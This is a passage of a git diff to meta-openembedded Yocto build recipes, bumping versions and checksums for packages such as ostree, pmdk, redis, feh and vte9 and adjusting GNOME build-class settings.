inherit autotools pkgconfig systemd
@@ -21,12 +22,12 @@ SYSTEMD_PACKAGES = "${PN}-mstpd"
SYSTEMD_SERVICE:${PN}-mstpd = "mstpd.service"
do_install:append() {
- rm -rf ${D}${libexecdir} ${D}${libdir}/NetworkManager
- rmdir ${D}${libdir} || true
+ rm -rf ${D}${libexecdir} ${D}${libdir}/NetworkManager
+ rmdir ${D}${libdir} || true
- install -d -m 0755 ${D}/${sbindir}
- install -m 0755 ${WORKDIR}/bridge-stp ${D}/${sbindir}
+ install -d -m 0755 ${D}${sbindir}
+ install -m 0755 ${WORKDIR}/bridge-stp ${D}${sbindir}
- install -d -m 0755 ${D}${systemd_system_unitdir}
- install -m 0644 ${WORKDIR}/mstpd.service ${D}${systemd_system_unitdir}/
+ install -d -m 0755 ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/mstpd.service ${D}${systemd_system_unitdir}
}
diff --git a/meta-openembedded/meta-oe/recipes-extended/ostree/ostree_2023.5.bb b/meta-openembedded/meta-oe/recipes-extended/ostree/ostree_2023.7.bb
index bc465dd624..d91b0a3037 100644
--- a/meta-openembedded/meta-oe/recipes-extended/ostree/ostree_2023.5.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/ostree/ostree_2023.7.bb
@@ -22,7 +22,7 @@ GITHUB_BASE_URI = "https://github.com/ostreedev/ostree/releases"
SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/libostree-${PV}.tar.xz \
file://run-ptest \
"
-SRC_URI[sha256sum] = "bc593afb31fe1ac3d50419f917fafe321a0a3561d7bb2ba498a83740fe3adb14"
+SRC_URI[sha256sum] = "19cda718705f7ac8c018c939c38b1bb8412deaaa04862da98cd9fe9243f073bf"
S = "${WORKDIR}/libostree-${PV}"
@@ -73,6 +73,7 @@ PACKAGECONFIG[builtin-grub2-mkconfig] = "--with-builtin-grub2-mkconfig, --withou
PACKAGECONFIG[curl] = "--with-curl, --without-curl, curl"
PACKAGECONFIG[dracut] = "--with-dracut, --without-dracut"
PACKAGECONFIG[ed25519-libsodium] = "--with-ed25519-libsodium, --without-ed25519-libsodium, libsodium"
+PACKAGECONFIG[ed25519-openssl] = "--with-openssl, --without-openssl, openssl"
PACKAGECONFIG[gjs] = "ac_cv_path_GJS=${bindir}/gjs"
PACKAGECONFIG[glib] = "--with-crypto=glib, , , , , gnutls openssl"
PACKAGECONFIG[gnutls] = "--with-crypto=gnutls, , gnutls, , , glib openssl"
@@ -90,7 +91,6 @@ PACKAGECONFIG[soup2] = "--with-soup, --without-soup, libsoup-2.4, , , soup3"
PACKAGECONFIG[soup3] = "--with-soup3, --without-soup3, libsoup, , , soup2"
PACKAGECONFIG[static] = ""
PACKAGECONFIG[systemd] = "--with-libsystemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-libsystemd, systemd"
-PACKAGECONFIG[trivial-httpd-cmdline] = "--enable-trivial-httpd-cmdline, --disable-trivial-httpd-cmdline"
EXTRA_OECONF = " \
${@bb.utils.contains('PACKAGECONFIG', 'static', '--with-static-compiler=\'${CC} ${CFLAGS} ${CPPFLAGS} ${LDFLAGS}\'', '', d)} \
@@ -138,7 +138,6 @@ PACKAGE_BEFORE_PN = " \
${PN}-grub \
${PN}-mkinitcpio \
${PN}-switchroot \
- ${PN}-trivial-httpd \
"
FILES:${PN} += " \
@@ -163,13 +162,7 @@ FILES:${PN}-switchroot = " \
${nonarch_libdir}/${BPN}/ostree-prepare-root \
${systemd_system_unitdir}/ostree-prepare-root.service \
"
-FILES:${PN}-trivial-httpd = " \
- ${libexecdir}/libostree/ostree-trivial-httpd \
-"
-RDEPENDS:${PN} = " \
- ${@bb.utils.contains('PACKAGECONFIG', 'trivial-httpd-cmdline', '${PN}-trivial-httpd', '', d)} \
-"
RDEPENDS:${PN}-dracut = "bash"
RDEPENDS:${PN}-mkinitcpio = "bash"
RDEPENDS:${PN}:class-target = " \
@@ -182,7 +175,6 @@ RDEPENDS:${PN}:class-target = " \
#
# xattr in DISTRO_FEATURES (default)
# static ostree-prepare-root
-# ostree-trivial-httpd (requires soup - note soup and curl can coexist)
# overlayfs in your kernel
# busybox built statically
# C.UTF-8 locale available (default)
@@ -208,7 +200,6 @@ RDEPENDS:${PN}-ptest += " \
tar \
util-linux \
xz \
- ${PN}-trivial-httpd \
python3-pyyaml \
${@bb.utils.contains('PACKAGECONFIG', 'gjs', 'gjs', '', d)} \
"
diff --git a/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk/0001-pmempool-Match-function-prototypes-of-enum_to_str_fn.patch b/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk/0001-pmempool-Match-function-prototypes-of-enum_to_str_fn.patch
deleted file mode 100644
index b16b633a3b..0000000000
--- a/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk/0001-pmempool-Match-function-prototypes-of-enum_to_str_fn.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From de6425acaa50426883e85a599001ae5e927aec5b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 2 Mar 2023 16:23:56 -0800
-Subject: [PATCH] pmempool: Match function prototypes of enum_to_str_fn
- function pointer
-
-This is flagged by clang 16+
-common.c:844:4: error: cast from 'const char *(*)(enum chunk_type)' to 'enum_to_str_fn' (aka 'const char *(*)(int)') converts to incompatible function type [-Werror,-Wcast-function-type-strict]
- (enum_to_str_fn)out_get_chunk_type_str);
- ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-1 error generated.
-
-Upstream-Status: Submitted [https://github.com/pmem/pmdk/pull/5543]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/tools/pmempool/common.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/tools/pmempool/common.c b/src/tools/pmempool/common.c
-index 5e7e472cc..4b7e9b95f 100644
---- a/src/tools/pmempool/common.c
-+++ b/src/tools/pmempool/common.c
-@@ -41,7 +41,7 @@
-
- #define REQ_BUFF_SIZE 2048U
- #define Q_BUFF_SIZE 8192
--typedef const char *(*enum_to_str_fn)(int);
-+typedef const char *(*enum_to_str_fn)(enum chunk_type);
-
- /*
- * pmem_pool_type -- return pool type based on first two pages.
-@@ -790,7 +790,7 @@ util_parse_enum(const char *str, int first, int max, uint64_t *bitmap,
- enum_to_str_fn enum_to_str)
- {
- for (int i = first; i < max; i++) {
-- if (strcmp(str, enum_to_str(i)) == 0) {
-+ if (strcmp(str, enum_to_str((enum chunk_type)i)) == 0) {
- *bitmap |= (uint64_t)1<<i;
- return 0;
- }
---
-2.39.2
-
diff --git a/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk_1.12.1.bb b/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk_2.0.0.bb
index 5261922cdd..aeda236901 100644
--- a/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk_1.12.1.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk_2.0.0.bb
@@ -11,9 +11,8 @@ DEPENDS:append:libc-musl = " fts"
S = "${WORKDIR}/git"
-SRC_URI = "git://github.com/pmem/pmdk.git;branch=stable-1.12;protocol=https \
- file://0001-pmempool-Match-function-prototypes-of-enum_to_str_fn.patch"
-SRCREV = "786098a024c6fe60e746f2cb1041bcfcd21386c9"
+SRC_URI = "git://github.com/pmem/pmdk.git;branch=master;protocol=https"
+SRCREV = "ba92d6b469d52d16f26279bebaf317bbdbb3822c"
inherit autotools-brokensep pkgconfig
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/0001-src-Do-not-reset-FINAL_LIBS.patch b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/0001-src-Do-not-reset-FINAL_LIBS.patch
index e8d8b1d53f..e8d8b1d53f 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/0001-src-Do-not-reset-FINAL_LIBS.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/0001-src-Do-not-reset-FINAL_LIBS.patch
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/0006-Define-correct-gregs-for-RISCV32.patch b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/0006-Define-correct-gregs-for-RISCV32.patch
index 385b0aeed0..385b0aeed0 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/0006-Define-correct-gregs-for-RISCV32.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/0006-Define-correct-gregs-for-RISCV32.patch
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/GNU_SOURCE-7.patch b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/GNU_SOURCE-7.patch
index 6e07c25c6a..6e07c25c6a 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/GNU_SOURCE-7.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/GNU_SOURCE-7.patch
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/hiredis-use-default-CC-if-it-is-set.patch b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/hiredis-use-default-CC-if-it-is-set.patch
index 7785acca5c..7785acca5c 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/hiredis-use-default-CC-if-it-is-set.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/hiredis-use-default-CC-if-it-is-set.patch
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/init-redis-server b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/init-redis-server
index c5f335f57d..c5f335f57d 100755
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/init-redis-server
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/init-redis-server
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/lua-update-Makefile-to-use-environment-build-setting.patch b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/lua-update-Makefile-to-use-environment-build-setting.patch
index bff07535de..bff07535de 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/lua-update-Makefile-to-use-environment-build-setting.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/lua-update-Makefile-to-use-environment-build-setting.patch
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/oe-use-libc-malloc.patch b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/oe-use-libc-malloc.patch
index 7b601e02a9..7b601e02a9 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/oe-use-libc-malloc.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/oe-use-libc-malloc.patch
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/redis.conf b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/redis.conf
index 75037d6dc8..75037d6dc8 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/redis.conf
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/redis.conf
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/redis.service b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/redis.service
index a52204cc70..a52204cc70 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/redis.service
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/redis.service
diff --git a/meta-openembedded/meta-oe/recipes-extended/redis/redis_7.2.1.bb b/meta-openembedded/meta-oe/recipes-extended/redis/redis_7.2.2.bb
index f8e30e086d..44fb01bc85 100644
--- a/meta-openembedded/meta-oe/recipes-extended/redis/redis_7.2.1.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/redis/redis_7.2.2.bb
@@ -17,7 +17,7 @@ SRC_URI = "http://download.redis.io/releases/${BP}.tar.gz \
file://GNU_SOURCE-7.patch \
file://0006-Define-correct-gregs-for-RISCV32.patch \
"
-SRC_URI[sha256sum] = "5c76d990a1b1c5f949bcd1eed90d0c8a4f70369bdbdcb40288c561ddf88967a4"
+SRC_URI[sha256sum] = "ca999be08800edc6d265379c4c7aafad92f0ee400692e4e2d69829ab4b4c3d08"
inherit autotools-brokensep update-rc.d systemd useradd
diff --git a/meta-openembedded/meta-oe/recipes-extended/rsyslog/libfastjson_0.99.9.bb b/meta-openembedded/meta-oe/recipes-extended/rsyslog/libfastjson_1.2304.0.bb
index 24ad172674..f16126d936 100644
--- a/meta-openembedded/meta-oe/recipes-extended/rsyslog/libfastjson_0.99.9.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/rsyslog/libfastjson_1.2304.0.bb
@@ -8,7 +8,7 @@ DEPENDS = ""
SRC_URI = "git://github.com/rsyslog/libfastjson.git;protocol=https;branch=master"
-SRCREV = "0293afb3913f760c449348551cca4d2df59c1a00"
+SRCREV = "3a8402c1de7c7747c95229db26d8d32fb85a7a52"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-extended/wtmpdb/wtmpdb_0.7.1.bb b/meta-openembedded/meta-oe/recipes-extended/wtmpdb/wtmpdb_0.9.3.bb
index cffae2d432..6d23c00707 100644
--- a/meta-openembedded/meta-oe/recipes-extended/wtmpdb/wtmpdb_0.7.1.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/wtmpdb/wtmpdb_0.9.3.bb
@@ -5,7 +5,7 @@ LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=020090a00b69dd2af9ab82eb0003ea2c"
SECTION = "libs"
-SRCREV = "502b19a41c7a3b1b5e70969b18088683825f71f8"
+SRCREV = "8ef2677a13d19aee3a834500f9c8a4dac9d68ef7"
SRC_URI = "git://github.com/thkukuk/wtmpdb.git;branch=main;protocol=https \
file://0001-remove-lto-to-fix-link-error-of-clang.patch \
diff --git a/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm-2.36_2.36.2.bb b/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm-2.36_2.36.2.bb
index a152ff2d2b..fa47cbd48d 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm-2.36_2.36.2.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm-2.36_2.36.2.bb
@@ -7,7 +7,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1 \
DEPENDS = "atk glibmm-2.68"
-GNOMEBASEBUILDCLASS = "meson"
GNOMEBN = "atkmm"
inherit gnomebase features_check
diff --git a/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm_2.28.2.bb b/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm_2.28.2.bb
index f6cb0a1e15..bc637470f9 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm_2.28.2.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/atk/atkmm_2.28.2.bb
@@ -7,7 +7,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1 \
DEPENDS = "atk glibmm"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase features_check
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gcab/gcab_1.4.bb b/meta-openembedded/meta-oe/recipes-gnome/gcab/gcab_1.6.bb
index 321e7c36a2..4278fc9453 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gcab/gcab_1.4.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gcab/gcab_1.6.bb
@@ -9,7 +9,7 @@ SRC_URI = "\
${GNOME_MIRROR}/gcab/${PV}/gcab-${PV}.tar.xz \
file://run-ptest \
"
-SRC_URI[sha256sum] = "67a5fa9be6c923fbc9197de6332f36f69a33dadc9016a2b207859246711c048f"
+SRC_URI[sha256sum] = "2f0c9615577c4126909e251f9de0626c3ee7a152376c15b5544df10fc87e560b"
inherit gobject-introspection gtk-doc manpages meson ptest-gnome vala
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gcr/gcr3_3.41.1.bb b/meta-openembedded/meta-oe/recipes-gnome/gcr/gcr3_3.41.1.bb
index ba5660a5ed..b3438b4e6f 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gcr/gcr3_3.41.1.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gcr/gcr3_3.41.1.bb
@@ -15,8 +15,9 @@ CACHED_CONFIGUREVARS += "ac_cv_path_GPG='gpg2'"
CFLAGS += "-D_GNU_SOURCE"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
+VALA_MESON_OPTION ?= ''
+
inherit gnomebase gtk-icon-cache gi-docgen features_check upstream-version-is-even vala gobject-introspection gettext mime mime-xdg
UPSTREAM_CHECK_REGEX = "[^\d\.](?P<pver>3.(?!9\d+)\d+(\.\d+)+)\.tar"
@@ -39,6 +40,7 @@ PACKAGECONFIG[systemd] = "-Dsystemd=enabled,-Dsystemd=disabled,systemd"
FILES:${PN} += " \
${datadir}/dbus-1 \
${datadir}/gcr-3 \
+ ${datadir}/vala \
${systemd_user_unitdir}/gcr-ssh-agent.socket \
${systemd_user_unitdir}/gcr-ssh-agent.service \
"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gmime/gmime_3.2.13.bb b/meta-openembedded/meta-oe/recipes-gnome/gmime/gmime_3.2.13.bb
index c4738b25bc..d8a6c1d6cf 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gmime/gmime_3.2.13.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gmime/gmime_3.2.13.bb
@@ -5,6 +5,7 @@ SECTION = "libs"
DEPENDS = "glib-2.0 zlib"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gobject-introspection vala
SRC_URI = "https://github.com/jstedfast/${BPN}/releases/download/${PV}/${BP}.tar.xz \
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gnome-common/gnome-common_3.18.0.bb b/meta-openembedded/meta-oe/recipes-gnome/gnome-common/gnome-common_3.18.0.bb
index ceebe5ebd3..9447470213 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gnome-common/gnome-common_3.18.0.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gnome-common/gnome-common_3.18.0.bb
@@ -6,6 +6,7 @@ LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SECTION = "x11/gnome"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase allarch
SRC_URI[archive.md5sum] = "933258d9c23e218eb6eec9cc1951b053"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/adw-gtk3_4.9.bb b/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/adw-gtk3_5.1.bb
index d7b7eef977..577acda59b 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/adw-gtk3_4.9.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/adw-gtk3_5.1.bb
@@ -11,6 +11,6 @@ inherit meson
SRC_URI = "git://github.com/lassekongo83/adw-gtk3.git;protocol=https;branch=main"
S = "${WORKDIR}/git"
-SRCREV = "08d3dfbde51d4cb0a3bb8e58a81aa61064857d89"
+SRCREV = "a3e1050341956fcae53b2b4403affcf2578a42f4"
FILES:${PN} = "${datadir}/themes"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/gnome-themes-extra_3.28.bb b/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/gnome-themes-extra_3.28.bb
index 227422d90c..c85366894a 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/gnome-themes-extra_3.28.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gnome-themes/gnome-themes-extra_3.28.bb
@@ -6,6 +6,7 @@ SECTION = "x11/gnome"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gettext gtk-icon-cache upstream-version-is-even features_check
ANY_OF_DISTRO_FEATURES = "${GTK2DISTROFEATURES}"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm3_3.24.7.bb b/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm3_3.24.7.bb
index 28d2bb138f..cac6474e73 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm3_3.24.7.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm3_3.24.7.bb
@@ -10,7 +10,6 @@ DEPENDS = "glib-2.0-native atkmm pangomm glibmm gtk+3 cairomm gdk-pixbuf-native"
BPN = "gtkmm"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase features_check
diff --git a/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm_2.24.5.bb b/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm_2.24.5.bb
index 54e75a20d3..87b0f5e65d 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm_2.24.5.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm_2.24.5.bb
@@ -8,6 +8,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499 \
DEPENDS = "atkmm pangomm glibmm gtk+ cairomm"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase features_check
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/libpeas/libpeas_1.36.0.bb b/meta-openembedded/meta-oe/recipes-gnome/libpeas/libpeas_1.36.0.bb
index 9920603428..016981f04d 100644
--- a/meta-openembedded/meta-oe/recipes-gnome/libpeas/libpeas_1.36.0.bb
+++ b/meta-openembedded/meta-oe/recipes-gnome/libpeas/libpeas_1.36.0.bb
@@ -5,7 +5,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4b54a1fd55a448865a0b32d41598759d"
DEPENDS = "gtk+3"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
inherit gnomebase gobject-introspection gi-docgen gtk-icon-cache features_check
diff --git a/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9.inc b/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9.inc
deleted file mode 100644
index 2a165391b6..0000000000
--- a/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Virtual terminal emulator GTK+ widget library"
-BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
-LICENSE = "LGPL-2.0-only"
-DEPENDS = "glib-2.0-native glib-2.0 gtk+ intltool-native gnome-common-native ncurses"
-RDEPENDS:libvte = "vte-termcap"
-
-# help gnomebase get the SRC_URI correct
-GNOMEBN = "vte"
-S = "${WORKDIR}/vte-${PV}"
-
-inherit gnomebase gtk-doc features_check upstream-version-is-even gobject-introspection
-ANY_OF_DISTRO_FEATURES = "${GTK2DISTROFEATURES}"
-
-EXTRA_OECONF = "--disable-python"
-
-PACKAGES =+ "libvte9 vte9-termcap"
-FILES:libvte9 = "${libdir}/*.so.* ${libexecdir}/gnome-pty-helper"
-FILES:vte9-termcap = "${datadir}/vte/termcap-0.0"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.28.2.bb b/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.28.2.bb
deleted file mode 100644
index 72bc9ec39b..0000000000
--- a/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.28.2.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require vte9.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
-
-SRC_URI += "file://obsolete_automake_macros.patch \
- file://cve-2012-2738.patch \
- "
-
-CFLAGS += "-D_GNU_SOURCE"
-
-SRC_URI[archive.md5sum] = "497f26e457308649e6ece32b3bb142ff"
-SRC_URI[archive.sha256sum] = "86cf0b81aa023fa93ed415653d51c96767f20b2d7334c893caba71e42654b0ae"
diff --git a/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.74.1.bb b/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.74.1.bb
new file mode 100644
index 0000000000..a10b917394
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.74.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Virtual terminal emulator GTK+ widget library"
+BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
+LICENSE = "LGPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24"
+
+DEPENDS = "glib-2.0-native glib-2.0 gnutls gtk+3 gtk4 intltool-native gnome-common-native ncurses"
+
+# help gnomebase get the SRC_URI correct
+GNOMEBN = "vte"
+S = "${WORKDIR}/vte-${PV}"
+
+SRC_URI[archive.sha256sum] = "2328c3f1c998350a18e0e513348e9fc581d57ea4e7b89aedf11e0e3c65042b4f"
+
+inherit gnomebase gi-docgen gobject-introspection features_check systemd upstream-version-is-even vala
+ANY_OF_DISTRO_FEATURES = "${GTK2DISTROFEATURES}"
+GIR_MESON_OPTION = "gir"
+GIDOCGEN_MESON_OPTION = "docs"
+
+PACKAGECONFIG ?= "gnutls ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[fribidi] = "-Dfribidi=true,-Dfribidi=false,fribidi"
+PACKAGECONFIG[systemd] = "-D_systemd=true,-D_systemd=false,"
+
+CFLAGS += "-D_GNU_SOURCE"
+
+PACKAGES =+ "libvte9 vte9-termcap"
+FILES:libvte9 = "${libdir}/*.so.* ${libexecdir}/gnome-pty-helper ${datadir}/glade ${systemd_user_unitdir}"
+FILES:vte9-termcap = "${datadir}/vte/termcap-0.0"
+
+RDEPENDS:libvte = "vte-termcap"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm-1.16_1.16.2.bb b/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm-1.16_1.18.0.bb
index c1e271ffa1..a6872ef0cd 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm-1.16_1.16.2.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm-1.16_1.18.0.bb
@@ -3,13 +3,12 @@ SUMMARY = "C++ bindings for Cairo graphics library"
LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=c46bda00ffbb0ba1dac22f8d087f54d9"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase
DEPENDS += "boost cairo libsigc++-3"
SRC_URI = "https://www.cairographics.org/releases/cairomm-${PV}.tar.xz"
-SRC_URI[sha256sum] = "6a63bf98a97dda2b0f55e34d1b5f3fb909ef8b70f9b8d382cb1ff3978e7dc13f"
+SRC_URI[sha256sum] = "b81255394e3ea8e8aa887276d22afa8985fc8daef60692eb2407d23049f03cfb"
S = "${WORKDIR}/cairomm-${PV}"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm_1.14.3.bb b/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm_1.14.3.bb
index 8123509f40..54a2b07ca5 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm_1.14.3.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm_1.14.3.bb
@@ -3,7 +3,6 @@ SUMMARY = "C++ bindings for Cairo graphics library"
LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=c46bda00ffbb0ba1dac22f8d087f54d9"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase
DEPENDS += "boost cairo libsigc++-2.0"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/feh/feh_3.10.bb b/meta-openembedded/meta-oe/recipes-graphics/feh/feh_3.10.1.bb
index ec18f11aa5..40145b873c 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/feh/feh_3.10.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/feh/feh_3.10.1.bb
@@ -2,14 +2,14 @@ SUMMARY = "X11 image viewer aimed mostly at console users"
HOMEPAGE = "https://feh.finalrewind.org/"
SECTION = "x11/utils"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f91bd06901085c94bdc50649d98c5059"
+LIC_FILES_CHKSUM = "file://COPYING;md5=150e4c518ff8aaecfe35694e47661d9a"
DEPENDS = "\
imlib2 \
virtual/libx11 libxt\
"
SRC_URI = "https://feh.finalrewind.org/feh-${PV}.tar.bz2"
-SRC_URI[sha256sum] = "1d71d1f6dcfe9ffee5e2766969a11978f7eb4fac7d7ae556f104c11f9c57cc98"
+SRC_URI[sha256sum] = "ec5e44d3cfe6f50f1c64f28a6f0225d958f4f4621726d9c2a04b5a32e5106d23"
inherit mime-xdg features_check
# depends on virtual/libx11
diff --git a/meta-openembedded/meta-oe/recipes-graphics/imlib2/imlib2_git.bb b/meta-openembedded/meta-oe/recipes-graphics/imlib2/imlib2_git.bb
index 9b8849b589..113b8666ab 100644
